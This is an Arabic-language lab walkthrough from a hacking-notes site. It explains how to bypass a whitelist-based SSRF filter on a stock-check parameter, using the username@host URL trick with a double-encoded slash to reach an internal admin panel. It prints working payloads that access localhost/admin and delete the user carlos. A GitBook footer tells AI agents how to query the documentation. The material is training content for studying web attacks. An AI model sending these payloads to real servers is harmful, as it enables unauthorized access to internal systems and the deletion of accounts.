> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/ssrf/ssrf-with-whitelist-based-filter.md).

# SSRF مع تصفية قائمة بيضاء

### SSRF مع فلتر إدخال قائم على قائمة السماح

تُرسل ميزة فحص المخزون طلبات إلى نظام داخلي. / الهدف هو تعديل عنوان URL المستخدم في `stockApi` المعامل للوصول إلى واجهة الإدارة الموجودة عند `HTTP://localhost/admin`، ثم حذف المستخدم **carlos**. / لقد وضع المطور دفاعًا ضد SSRF يعتمد على **قائمة سماح بالمضيفين المصرّح لهم**، والتي يجب تجاوزها.

```javascript
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1%26storeId=1
```

#### **تحليل الفلتر**

لا يسمح التطبيق إلا بالطلبات إلى المضيف التالي:

```bash
stockApi=http://127.0.0.1/admin
```

<figure><img src="/files/9dc882a718009ec1c159a8028ceafa2bf92895f4" alt=""><figcaption></figcaption></figure>

إذا غيّرنا عنوان URL إلى `localhost` أو عنوان داخلي، نحصل على الخطأ:

يجب أن يكون مضيف فحص المخزون الخارجي هو stock.weliketoshop.net

#### **تجاوز قائمة السماح**

الفكرة هي استخدام `username:password@host` بنية في عناوين URL. / تتيح لنا هذه الطريقة **إجبار المضيف الذي تم التحقق منه بواسطة قائمة السماح على الظهور في جزء "authority"** بينما يتم في الواقع توجيه الطلب إلى `localhost`.

```bash
http://username:password@website.com
```

الحمولة المستخدمة:

```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080
```

مع `/` (`%252f`)، يفهم الخادم بشكل صحيح الجزء الذي تم تحويله مرتين والموجَّه إلى `localhost`.

يتيح ذلك الوصول إلى لوحة الإدارة الداخلية.

<figure><img src="/files/642135d92a77099af9bdc5fbe846daaeaf30232c" alt=""><figcaption></figcaption></figure>

#### **حذف المستخدم Carlos**

بمجرد أن يصبح التجاوز فعالًا، يتم استدعاء عنوان حذف URL مباشرةً:

{% code overflow="wrap" %}

```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080/admin?delete=username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/ssrf/ssrf-with-whitelist-based-filter.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
